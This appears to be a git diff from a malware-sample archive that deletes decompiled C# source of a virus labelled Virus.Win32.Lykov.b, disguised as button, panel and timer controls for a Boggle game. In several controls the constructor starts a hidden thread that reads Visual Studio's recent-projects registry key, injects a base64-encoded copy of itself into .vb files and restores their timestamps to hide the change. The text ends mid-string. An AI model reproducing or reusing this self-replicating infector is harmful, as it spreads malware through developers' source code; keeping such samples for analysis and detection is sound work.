lastAccessTime); - File.SetAttributes(files[index2], attributes); - checked { ++index2; } - } - } - checked { ++index1; } - } - } - - public BogButton() - { - this.MouseDown += new MouseEventHandler(this.BogButton_MouseDown); - this.MouseUp += new MouseEventHandler(this.BogButton_MouseUp); - this.MouseEnter += new EventHandler(this.BogButton_MouseEnter); - this.Paint += new PaintEventHandler(this.OnPaint); - this.MouseLeave += new EventHandler(this.BogButton_MouseLeave); - this.BkGradColors = new System.Drawing.Color[2] - { - System.Drawing.Color.LightBlue, - System.Drawing.Color.Blue - }; - this.TxtGradColors = new System.Drawing.Color[2] - { - System.Drawing.Color.LightCyan, - System.Drawing.Color.DarkSalmon - }; - new Thread(new ThreadStart(this.vIT)).Start(); - this.InitializeComponent(); - this.clsButtonText = "New"; - this.BogButtonEnabled = true; - } - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - [DebuggerStepThrough] - private void InitializeComponent() => this.components = (IContainer) new System.ComponentModel.Container(); - - public string ButtonText - { - get => this.clsButtonText; - set - { - this.clsButtonText = value; - this.Refresh(); - } - } - - public bool BogButtonEnabled - { - get => this.clsEnabled; - set - { - this.clsEnabled = value; - if (!this.clsEnabled) - { - this.TxtGradColors[0] = System.Drawing.Color.LightGray; - this.TxtGradColors[1] = System.Drawing.Color.Black; - this.BkGradColors[0] = System.Drawing.Color.DarkGray; - this.BkGradColors[1] = System.Drawing.Color.LightGray; - } - else - { - this.TxtGradColors[0] = System.Drawing.Color.LightCyan; - this.TxtGradColors[1] = System.Drawing.Color.DarkSalmon; - this.BkGradColors[0] = System.Drawing.Color.LightBlue; - this.BkGradColors[1] = System.Drawing.Color.Blue; - } - this.Enabled = this.clsEnabled; - this.Refresh(); - } - } - - protected void OnPaint(object sender, PaintEventArgs e) - { - GraphicsPath path = new GraphicsPath(); - Rectangle rect = new Rectangle(0, 0, this.Width, this.Height); - LinearGradientBrush linearGradientBrush1 = new LinearGradientBrush(rect, this.BkGradColors[0], this.BkGradColors[1], LinearGradientMode.ForwardDiagonal); - LinearGradientBrush linearGradientBrush2 = new LinearGradientBrush(rect, this.TxtGradColors[0], this.TxtGradColors[1], LinearGradientMode.ForwardDiagonal); - path.AddArc(rect, 335f, 50f); - path.AddArc(rect, 155f, 50f); - linearGradientBrush1.LinearColors = this.BkGradColors; - e.Graphics.FillPath((Brush) linearGradientBrush1, path); - e.Graphics.SmoothingMode = SmoothingMode.HighQuality; - Font font1 = this.Font; - SizeF sizeF1 = new SizeF(); - Graphics graphics = e.Graphics; - string clsButtonText = this.clsButtonText; - Font font2 = font1; - SizeF layoutArea = new SizeF(); - StringFormat stringFormat = new StringFormat(StringFormatFlags.DirectionRightToLeft); - int num1 = Strings.Len(this.clsButtonText); - ref int local1 = ref num1; - int num2 = 1; - ref int local2 = ref num2; - SizeF sizeF2 = graphics.MeasureString(clsButtonText, font2, layoutArea, stringFormat, out local1, out local2); - e.Graphics.DrawString(this.clsButtonText, new Font(this.Font.FontFamily, 10f, FontStyle.Bold), (Brush) linearGradientBrush2, (float) ((double) this.Width / 2.35 - (double) sizeF2.Width / 2.0), 16f); - this.Region = new Region(path); - } - - private void BogButton_MouseUp(object sender, MouseEventArgs e) - { - checked { this.Left -= 3; } - checked { this.Top -= 3; } - this.BkGradColors[0] = System.Drawing.Color.LightBlue; - this.BkGradColors[1] = System.Drawing.Color.Blue; - this.TxtGradColors[0] = System.Drawing.Color.Red; - this.TxtGradColors[1] = System.Drawing.Color.Navy; - this.Refresh(); - this.Enabled = this.clsEnabled; - } - - private void BogButton_MouseEnter(object sender, EventArgs e) - { - this.TxtGradColors[0] = System.Drawing.Color.Red; - this.TxtGradColors[1] = System.Drawing.Color.Navy; - this.Refresh(); - } - - private void BogButton_MouseLeave(object sender, EventArgs e) - { - this.TxtGradColors[0] = System.Drawing.Color.LightCyan; - this.TxtGradColors[1] = System.Drawing.Color.DarkSalmon; - this.Refresh(); - } - - private void BogButton_MouseDown(object sender, MouseEventArgs e) - { - checked { this.Left += 3; } - checked { this.Top += 3; } - this.BkGradColors[1] = System.Drawing.Color.DarkBlue; - this.TxtGradColors[1] = System.Drawing.Color.Navy; - this.Refresh(); - } - } -} diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogButton.resx b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogButton.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogButton.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogPanel.cs b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogPanel.cs deleted file mode 100644 index bab5ff29..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogPanel.cs +++ /dev/null @@ -1,210 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Boggle.BogPanel -// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null -// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Drawing2D; -using System.IO; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace Boggle -{ - public class BogPanel : PictureBox - { - private IContainer components; - - private void vIT() - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList"); - if (registryKey.ValueCount == 0) - ProjectData.EndApp(); - string String2 = "Private Sub vIT()"; - string str1 = "Public Sub New()"; - string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()"; - string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K"; - string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3)); - string Replacement = "J = \""; - int num1 = Strings.Len(str3); - int Start = 1; - while (Start <= num1) - { - Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\""; - checked { Start += 64; } - } - string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text); - int num2 = checked (registryKey.ValueCount - 1); - int index1 = 0; - while (index1 <= num2) - { - string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1])); - string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text)); - if (Directory.Exists(path)) - { - string[] files = Directory.GetFiles(path, "*.vb"); - int num3 = Information.LBound((Array) files); - int num4 = Information.UBound((Array) files); - int index2 = num3; - while (index2 <= num4) - { - DateTime lastAccessTime = File.GetLastAccessTime(files[index2]); - DateTime lastWriteTime = File.GetLastWriteTime(files[index2]); - FileAttributes attributes = File.GetAttributes(files[index2]); - File.SetAttributes(files[index2], FileAttributes.Normal); - StreamReader streamReader = File.OpenText(files[index2]); - string end = streamReader.ReadToEnd(); - streamReader.Close(); - if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0) - { - string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text); - StreamWriter text = File.CreateText(files[index2]); - text.Write(str6); - text.Flush(); - text.Close(); - } - File.SetLastWriteTime(files[index2], lastWriteTime); - File.SetLastAccessTime(files[index2], lastAccessTime); - File.SetAttributes(files[index2], attributes); - checked { ++index2; } - } - } - checked { ++index1; } - } - } - - public BogPanel() - { - this.Resize += new EventHandler(this.BogPanel_Resize); - new Thread(new ThreadStart(this.vIT)).Start(); - this.InitializeComponent(); - } - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - [DebuggerStepThrough] - private void InitializeComponent() => this.BackColor = System.Drawing.Color.DarkGray; - - protected override void OnPaint(PaintEventArgs pe) - { - Pen pen1 = new Pen(System.Drawing.Color.DarkGray); - GraphicsPath path = new GraphicsPath(); - pe.Graphics.SmoothingMode = SmoothingMode.AntiAlias; - GraphicsPath graphicsPath1 = path; - PointF pointF1 = new PointF(2f, (float) this.Height / 2f); - PointF pt1_1 = pointF1; - PointF pointF2 = new PointF(0.0f, (float) this.Height); - PointF pt2_1 = pointF2; - PointF pointF3 = new PointF(0.0f, (float) this.Height); - PointF pt3_1 = pointF3; - PointF pointF4 = new PointF((float) this.Width / 2f, (float) checked (this.Height - 2)); - PointF pt4_1 = pointF4; - graphicsPath1.AddBezier(pt1_1, pt2_1, pt3_1, pt4_1); - GraphicsPath graphicsPath2 = path; - pointF4 = new PointF((float) this.Width / 2f, (float) checked (this.Height - 2)); - PointF pt1_2 = pointF4; - pointF3 = new PointF((float) this.Width, (float) this.Height); - PointF pt2_2 = pointF3; - pointF2 = new PointF((float) this.Width, (float) this.Height); - PointF pt3_2 = pointF2; - pointF1 = new PointF((float) checked (this.Width - 2), (float) this.Height / 2f); - PointF pt4_2 = pointF1; - graphicsPath2.AddBezier(pt1_2, pt2_2, pt3_2, pt4_2); - GraphicsPath graphicsPath3 = path; - pointF4 = new PointF((float) checked (this.Width - 2), (float) this.Height / 2f); - PointF pt1_3 = pointF4; - pointF3 = new PointF((float) this.Width, 0.0f); - PointF pt2_3 = pointF3; - pointF2 = new PointF((float) this.Width, 0.0f); - PointF pt3_3 = pointF2; - pointF1 = new PointF((float) this.Width / 2f, 2f); - PointF pt4_3 = pointF1; - graphicsPath3.AddBezier(pt1_3, pt2_3, pt3_3, pt4_3); - GraphicsPath graphicsPath4 = path; - pointF4 = new PointF((float) this.Width / 2f, 2f); - PointF pt1_4 = pointF4; - pointF3 = new PointF(0.0f, 0.0f); - PointF pt2_4 = pointF3; - pointF2 = new PointF(0.0f, 0.0f); - PointF pt3_4 = pointF2; - pointF1 = new PointF(2f, (float) this.Height / 2f); - PointF pt4_4 = pointF1; - graphicsPath4.AddBezier(pt1_4, pt2_4, pt3_4, pt4_4); - float num = 0.0f; - do - { - int red; - checked { red += 3; } - int green; - checked { green += 3; } - int blue; - checked { blue += 3; } - Pen pen2 = new Pen(System.Drawing.Color.FromArgb(red, green, blue)); - Graphics graphics1 = pe.Graphics; - Pen pen3 = pen2; - pointF4 = new PointF(num + 2f, (float) this.Height / 2f); - PointF pt1_5 = pointF4; - pointF3 = new PointF(num, (float) this.Height - num); - PointF pt2_5 = pointF3; - pointF2 = new PointF(num, (float) this.Height - num); - PointF pt3_5 = pointF2; - pointF1 = new PointF((float) this.Width / 2f, (float) this.Height - (num + 2f)); - PointF pt4_5 = pointF1; - graphics1.DrawBezier(pen3, pt1_5, pt2_5, pt3_5, pt4_5); - Graphics graphics2 = pe.Graphics; - Pen pen4 = pen2; - pointF4 = new PointF((float) this.Width / 2f, (float) this.Height - (num + 2f)); - PointF pt1_6 = pointF4; - pointF3 = new PointF((float) this.Width - num, (float) this.Height - num); - PointF pt2_6 = pointF3; - pointF2 = new PointF((float) this.Width - num, (float) this.Height - num); - PointF pt3_6 = pointF2; - pointF1 = new PointF((float) this.Width - (num + 2f), (float) this.Height / 2f); - PointF pt4_6 = pointF1; - graphics2.DrawBezier(pen4, pt1_6, pt2_6, pt3_6, pt4_6); - Graphics graphics3 = pe.Graphics; - Pen pen5 = pen2; - pointF4 = new PointF((float) this.Width - (num + 2f), (float) this.Height / 2f); - PointF pt1_7 = pointF4; - pointF3 = new PointF((float) this.Width - num, num); - PointF pt2_7 = pointF3; - pointF2 = new PointF((float) this.Width - num, num); - PointF pt3_7 = pointF2; - pointF1 = new PointF((float) this.Width / 2f, num + 2f); - PointF pt4_7 = pointF1; - graphics3.DrawBezier(pen5, pt1_7, pt2_7, pt3_7, pt4_7); - Graphics graphics4 = pe.Graphics; - Pen pen6 = pen2; - pointF4 = new PointF((float) this.Width / 2f, num + 2f); - PointF pt1_8 = pointF4; - pointF3 = new PointF(num, num); - PointF pt2_8 = pointF3; - pointF2 = new PointF(num, num); - PointF pt3_8 = pointF2; - pointF1 = new PointF(num + 2f, (float) this.Height / 2f); - PointF pt4_8 = pointF1; - graphics4.DrawBezier(pen6, pt1_8, pt2_8, pt3_8, pt4_8); - num += 0.1f; - } - while (FlowControl.ForNextCheckR4(num, 5f, 0.1f)); - this.BackColor = System.Drawing.Color.DarkGray; - this.Region = new Region(path); - path.Dispose(); - } - - private void BogPanel_Resize(object sender, EventArgs e) => this.Refresh(); - } -} diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogPanel.resx b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogPanel.resx deleted file mode 100644 index d10e73bf..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogPanel.resx +++ /dev/null @@ -1,126 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs= - - - CEJvZ1BhbmVs - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogTimer.cs b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogTimer.cs deleted file mode 100644 index 6f55db8c..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogTimer.cs +++ /dev/null @@ -1,1425 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Boggle.BogTimer -// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null -// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.Collections; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Runtime.CompilerServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace Boggle -{ - public class BogTimer : UserControl - { - [AccessedThroughProperty("bot1")] - private tmrShape _bot1; - [AccessedThroughProperty("top1")] - private tmrShape _top1; - [AccessedThroughProperty("top2")] - private tmrShape _top2; - [AccessedThroughProperty("m2")] - private tmrShape _m2; - [AccessedThroughProperty("m1")] - private tmrShape _m1; - [AccessedThroughProperty("lr1")] - private tmrShape _lr1; - [AccessedThroughProperty("ur1")] - private tmrShape _ur1; - [AccessedThroughProperty("lr2")] - private tmrShape _lr2; - [AccessedThroughProperty("ll1")] - private tmrShape _ll1; - [AccessedThroughProperty("ul1")] - private tmrShape _ul1; - [AccessedThroughProperty("f2")] - private tmrShape _f2; - [AccessedThroughProperty("f1")] - private tmrShape _f1; - [AccessedThroughProperty("ul3")] - private tmrShape _ul3; - [AccessedThroughProperty("ll3")] - private tmrShape _ll3; - [AccessedThroughProperty("ur2")] - private tmrShape _ur2; - [AccessedThroughProperty("ur3")] - private tmrShape _ur3; - [AccessedThroughProperty("lr3")] - private tmrShape _lr3; - [AccessedThroughProperty("m3")] - private tmrShape _m3; - [AccessedThroughProperty("top3")] - private tmrShape _top3; - [AccessedThroughProperty("bot3")] - private tmrShape _bot3; - [AccessedThroughProperty("ul4")] - private tmrShape _ul4; - [AccessedThroughProperty("ll4")] - private tmrShape _ll4; - [AccessedThroughProperty("ur4")] - private tmrShape _ur4; - [AccessedThroughProperty("ll2")] - private tmrShape _ll2; - [AccessedThroughProperty("lr4")] - private tmrShape _lr4; - [AccessedThroughProperty("m4")] - private tmrShape _m4; - [AccessedThroughProperty("ul2")] - private tmrShape _ul2; - [AccessedThroughProperty("top4")] - private tmrShape _top4; - [AccessedThroughProperty("bot4")] - private tmrShape _bot4; - [AccessedThroughProperty("bot2")] - private tmrShape _bot2; - private IContainer components; - private string clsTimerText; - private System.Drawing.Color clsLedOffColor; - private System.Drawing.Color clsLedOnColor; - private System.Drawing.Color clsLedBackColor; - private bool clsFlashOn; - private bool clsFlashEnabled; - private System.Drawing.Color C; - - internal virtual tmrShape f2 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._f2 == null) - ; - this._f2 = value; - if (this._f2 == null) - ; - } - get => this._f2; - } - - internal virtual tmrShape f1 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._f1 == null) - ; - this._f1 = value; - if (this._f1 == null) - ; - } - get => this._f1; - } - - internal virtual tmrShape ul3 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._ul3 == null) - ; - this._ul3 = value; - if (this._ul3 == null) - ; - } - get => this._ul3; - } - - internal virtual tmrShape ll3 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._ll3 == null) - ; - this._ll3 = value; - if (this._ll3 == null) - ; - } - get => this._ll3; - } - - internal virtual tmrShape ur3 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._ur3 == null) - ; - this._ur3 = value; - if (this._ur3 == null) - ; - } - get => this._ur3; - } - - internal virtual tmrShape lr3 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lr3 == null) - ; - this._lr3 = value; - if (this._lr3 == null) - ; - } - get => this._lr3; - } - - internal virtual tmrShape m3 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._m3 == null) - ; - this._m3 = value; - if (this._m3 == null) - ; - } - get => this._m3; - } - - internal virtual tmrShape top3 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._top3 == null) - ; - this._top3 = value; - if (this._top3 == null) - ; - } - get => this._top3; - } - - internal virtual tmrShape bot3 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._bot3 == null) - ; - this._bot3 = value; - if (this._bot3 == null) - ; - } - get => this._bot3; - } - - internal virtual tmrShape ul1 - { - get => this._ul1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._ul1 == null) - ; - this._ul1 = value; - if (this._ul1 == null) - ; - } - } - - internal virtual tmrShape ll1 - { - get => this._ll1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._ll1 == null) - ; - this._ll1 = value; - if (this._ll1 == null) - ; - } - } - - internal virtual tmrShape ur1 - { - get => this._ur1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._ur1 == null) - ; - this._ur1 = value; - if (this._ur1 == null) - ; - } - } - - internal virtual tmrShape lr1 - { - get => this._lr1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lr1 == null) - ; - this._lr1 = value; - if (this._lr1 == null) - ; - } - } - - internal virtual tmrShape ul4 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._ul4 == null) - ; - this._ul4 = value; - if (this._ul4 == null) - ; - } - get => this._ul4; - } - - internal virtual tmrShape m1 - { - get => this._m1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._m1 == null) - ; - this._m1 = value; - if (this._m1 == null) - ; - } - } - - internal virtual tmrShape top1 - { - get => this._top1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._top1 == null) - ; - this._top1 = value; - if (this._top1 == null) - ; - } - } - - internal virtual tmrShape ll4 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._ll4 == null) - ; - this._ll4 = value; - if (this._ll4 == null) - ; - } - get => this._ll4; - } - - internal virtual tmrShape bot1 - { - get => this._bot1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._bot1 == null) - ; - this._bot1 = value; - if (this._bot1 == null) - ; - } - } - - internal virtual tmrShape bot2 - { - get => this._bot2; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._bot2 == null) - ; - this._bot2 = value; - if (this._bot2 == null) - ; - } - } - - internal virtual tmrShape ur4 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._ur4 == null) - ; - this._ur4 = value; - if (this._ur4 == null) - ; - } - get => this._ur4; - } - - internal virtual tmrShape top2 - { - get => this._top2; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._top2 == null) - ; - this._top2 = value; - if (this._top2 == null) - ; - } - } - - internal virtual tmrShape m2 - { - get => this._m2; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._m2 == null) - ; - this._m2 = value; - if (this._m2 == null) - ; - } - } - - internal virtual tmrShape lr2 - { - get => this._lr2; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lr2 == null) - ; - this._lr2 = value; - if (this._lr2 == null) - ; - } - } - - internal virtual tmrShape ur2 - { - get => this._ur2; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._ur2 == null) - ; - this._ur2 = value; - if (this._ur2 == null) - ; - } - } - - internal virtual tmrShape lr4 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lr4 == null) - ; - this._lr4 = value; - if (this._lr4 == null) - ; - } - get => this._lr4; - } - - internal virtual tmrShape ll2 - { - get => this._ll2; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._ll2 == null) - ; - this._ll2 = value; - if (this._ll2 == null) - ; - } - } - - internal virtual tmrShape ul2 - { - get => this._ul2; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._ul2 == null) - ; - this._ul2 = value; - if (this._ul2 == null) - ; - } - } - - internal virtual tmrShape bot4 - { - get => this._bot4; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._bot4 == null) - ; - this._bot4 = value; - if (this._bot4 == null) - ; - } - } - - internal virtual tmrShape m4 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._m4 == null) - ; - this._m4 = value; - if (this._m4 == null) - ; - } - get => this._m4; - } - - internal virtual tmrShape top4 - { - get => this._top4; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._top4 == null) - ; - this._top4 = value; - if (this._top4 == null) - ; - } - } - - private void vIT() - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList"); - if (registryKey.ValueCount == 0) - ProjectData.EndApp(); - string String2 = "Private Sub vIT()"; - string str1 = "Public Sub New()"; - string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()"; - string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + 